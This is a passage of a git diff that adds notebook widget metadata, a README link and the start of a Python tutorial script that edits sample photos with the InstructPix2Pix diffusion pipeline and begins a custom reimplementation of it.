+            "style": "IPY_MODEL_72effdc24eb84648b6838729c11fed72",
+            "value": 10
+          }
+        },
+        "efa4ce6a37094cd483fa4e39b7ae04eb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b7db2ab7ac704366b20c166c701019c0",
+            "placeholder": "​",
+            "style": "IPY_MODEL_8c01f8b4191048c5b596bb5da0c73d2f",
+            "value": "Downloading (…)tokenizer/merges.txt: 100%"
+          }
+        },
+        "f001e880d8f3453a9395eb78329dbbc7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_8b41d5c904a942a0bcee642499015089",
+              "IPY_MODEL_84df3286d6044ab5aa6e8cb6c8d1b813",
+              "IPY_MODEL_e0448b4988f643dd9f12e4fca280dbee"
+            ],
+            "layout": "IPY_MODEL_f259a8f8222c41eea77498acd6d4e4aa"
+          }
+        },
+        "f019b7a1faf1469c87b048319a9b71ef": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "f0ad1221f0f84ac085df2315bd00d572": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f0aebefd751e48939aae8e3eac7adfde": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_90ddc85bb3e84773acf73b9a16b4f0be",
+            "placeholder": "​",
+            "style": "IPY_MODEL_440bb669cff048cea2363b50d28521ed",
+            "value": "Downloading (…)tokenizer/vocab.json: 100%"
+          }
+        },
+        "f0c88afdf3ac4ca3b63be6f561bbf5f0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f259a8f8222c41eea77498acd6d4e4aa": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f25cbe3e352d44c9849191bbb8e9d4d9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f38555fda53a4edf92271a97db3f7dd5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f3d1f71549674156b493e3771784ec68": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "f3f3d0fa7c164320b7f11f68a3915899": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f40c98061f2946b1885193ee817c52a3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f48ce6b6925b4b058f8679d73c039ac8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "f546e96ee51643839dd2d98d09df9c87": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f6239b69aa6e4ece90cdb6fabf707c57": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f6787f179f0c4dc6b420085606784de9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f6ecc0d4fe1545d8bd0a16de5960285b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f76d97ab2a6e46d5891af7fc0c3f511b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f7728f9c5b0f4f4ca084119f74e9dcaf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "fa37cd2e2ac94455ab624a75eb0a105d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "fa82f3acd0794629b0a5af2383807c2c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "fb156e0150e24ec9a367a1e26c4750ec": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_740417603bd94bf698fdba5b374d7c3a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_2ddf4013353e48b9a62c70e2eb68502e",
+            "value": "100%"
+          }
+        },
+        "fb21fb73c13f4b12a6e917160f5891ed": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8b08803f05bb47a1b83ebeff76e7caf7",
+            "max": 518,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_27544c3774b54c018270a66ebbd06edb",
+            "value": 518
+          }
+        },
+        "fbbee3ba802b41c084ee35dccc8bbabf": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "fcc8de512f89491ab8b7a50cc37f83f5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "fd5335a0dce5483bba6b91db1e32346e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "fe213a7fa3c44223847fd5cf3b05a9a5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ff5ca71e3f254e82ba648f2b5a000de2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_efa4ce6a37094cd483fa4e39b7ae04eb",
+              "IPY_MODEL_1529067d721f4287b26e576942b5bc97",
+              "IPY_MODEL_1763740db60f490493e2fe10d35cc58e"
+            ],
+            "layout": "IPY_MODEL_40ea712393314cfe9452f6b14bfd58e6"
+          }
+        },
+        "ff7172bc118f4f22bc1acbe531787b42": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ff7c3d43d89a40a9941f2b9baf8e9fd9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        }
+      }
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
diff --git a/machine-learning/edit-images-instruct-pix2pix/README.md b/machine-learning/edit-images-instruct-pix2pix/README.md
new file mode 100644
index 00000000..8800db36
--- /dev/null
+++ b/machine-learning/edit-images-instruct-pix2pix/README.md
@@ -0,0 +1 @@
+# [How to Edit Images using InstructPix2Pix in Python](https://www.thepythoncode.com/article/edit-images-using-instruct-pix2pix-with-huggingface)
\ No newline at end of file
diff --git a/machine-learning/edit-images-instruct-pix2pix/instruct_pix2pix_pythoncodetutorial.py b/machine-learning/edit-images-instruct-pix2pix/instruct_pix2pix_pythoncodetutorial.py
new file mode 100644
index 00000000..97874151
--- /dev/null
+++ b/machine-learning/edit-images-instruct-pix2pix/instruct_pix2pix_pythoncodetutorial.py
@@ -0,0 +1,389 @@
+# %%
+!pip install -qU diffusers accelerate safetensors transformers
+
+# %% [markdown]
+# # Hugging Face
+
+# %%
+import PIL
+import requests
+import torch
+from diffusers import StableDiffusionInstructPix2PixPipeline, EulerAncestralDiscreteScheduler
+
+
+# %%
+def download_image(url):
+    image = PIL.Image.open(requests.get(url, stream=True).raw)
+    image = PIL.ImageOps.exif_transpose(image)
+    image = image.convert("RGB")
+    return image
+
+# %%
+model_id = "timbrooks/instruct-pix2pix"
+pipe = StableDiffusionInstructPix2PixPipeline.from_pretrained(model_id, torch_dtype=torch.float16, safety_checker=None)
+pipe.to("cuda")
+pipe.scheduler = EulerAncestralDiscreteScheduler.from_config(pipe.scheduler.config)
+
+
+# %%
+url = "https://cdn.pixabay.com/photo/2013/01/05/21/02/art-74050_640.jpg"
+image = download_image(url)
+image
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1).images
+images[0]
+
+# %%
+prompt = "convert the lady into a highly detailed marble statue"
+images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1.5).images
+images[0]
+
+# %%
+url = "https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg"
+image = download_image(url)
+image
+
+# %%
+prompt = "turn the bird to red"
+images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1).images
+images[0]
+
+# %%
+url = "https://cdn.pixabay.com/photo/2018/05/08/06/52/vacation-3382400_640.jpg"
+image = download_image(url)
+image
+
+# %%
+prompt = "turn the suitcase yellow"
+images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.7).images
+images[0]
+
+# %%
+
+
+# %%
+
+
+# %% [markdown]
+# # Custom implementation
+
+# %%
+from tqdm import tqdm
+from torch import autocast
+
+# %%
+class InstructPix2PixPipelineCustom:
+    """custom implementation of the InstructPix2Pix Pipeline"""
+
+    def __init__(self,
+                 vae,
+                 tokenizer,
+                 text_encoder,
+                 unet,
+                 scheduler,
+                 image_processor):
+
+        self.vae = vae
+        self.tokenizer = tokenizer
+        self.text_encoder = text_encoder
+        self.unet = unet
+        self.scheduler = scheduler
+        self.image_processor = image_processor
+        self.device = 'cuda' if torch.cuda.is_available() else 'cpu'
+
+
+
+    def get_text_embeds(self, text):
+        """returns embeddings for the given `text`"""
+
+        # tokenize the text
+        text_input = self.tokenizer(text,
+                                    padding='max_length',
+                                    max_length=tokenizer.model_max_length,
+                                    truncation=True,
+                                    return_tensors='pt')
+        # embed the text
+        with torch.no_grad():
+            text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]
+        return text_embeds
+
+
+    def get_prompt_embeds(self, prompt, prompt_negative=None):
+        """returns prompt embeddings based on classifier free guidance"""
+
+        if isinstance(prompt, str):
+            prompt = [prompt]
+
+        if prompt_negative is None:
